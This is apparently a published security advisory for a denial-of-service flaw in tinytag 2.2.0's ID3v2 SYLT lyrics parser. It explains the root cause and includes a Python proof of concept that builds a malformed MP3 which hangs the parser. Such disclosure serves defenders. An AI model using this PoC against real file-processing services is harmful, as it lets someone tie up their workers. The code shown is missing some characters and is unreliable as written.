PT-2026-60000 · Pypi · Tinytag

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

6.5

Medium

VectorAV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:
The root cause is that parse synced lyrics assumes find string end pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.
For single-byte encodings, find string end pos does:
python
return content.find(b'x00', start pos) + 1
If no terminator exists, content.find(...) returns -1, so the function returns 0. parse synced lyrics then does offset = end pos, which resets offset to 0 inside:
python
while offset < content length:
  end pos = self. find string end pos(content, encoding, offset)
  value = self. decode string(encoding + content[offset:end pos]).lstrip('
')
  offset = end pos
  time = unpack('>I', content[offset:offset + 4])[0]
Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in find string end pos has the same shape: if no b'x00x00' terminator is found, it also returns 0, so the same non-progress condition applies there.
SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain parse synced lyrics, so 2.2.0 is the only confirmed affected release at this time.
Test environment:
  • MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
  • Python 3.14.3
  • Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
  • Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:
python
#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create malicious mp3() -> bytes:
  id3 header = b"ID3" + bytes([3, 0, 0]) # ID3v2.3
  encoding = b"x00" # ISO-8859-1
  language = b"eng"
  timestamp format = b"x02"
  content type = b"x01"
  descriptor = b"testx00"
  lyrics data = b"A" * 50 # no null terminator in the remaining SYLT payload
  frame content = (
    encoding + language + timestamp format + content type + descriptor + lyrics data
  )
  frame = b"SYLT" + struct.pack(">I", len(frame content)) + b"x00x00" + frame content

  tag size = len(frame)
  synchsafe = bytearray(4)
  n = tag size
  for i in range(3, -1, -1):
    synchsafe[i] = n & 0x7F
    n >>= 7

  return (
    id3 header
    + bytes(synchsafe)
    + frame
    + b"xffxfbx90x00"
    + b"x00" * 413
  )


def timeout handler(signum, frame) -> None:
  print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
  raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout handler)
signal.alarm(10)
start = time.time()

try:
  TinyTag.get(file obj=BytesIO(create malicious mp3()), filename="poc.mp3")
  signal.alarm(0)
  print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
  raise
except Exception as exc:
  signal.alarm(0)
  print(f"Unexpected exception before timeout: {type(exc). name }: {exc}")
Observed output on 2.2.0 in the environment above:
text
CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.
In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-3386

Affected Products

Tinytag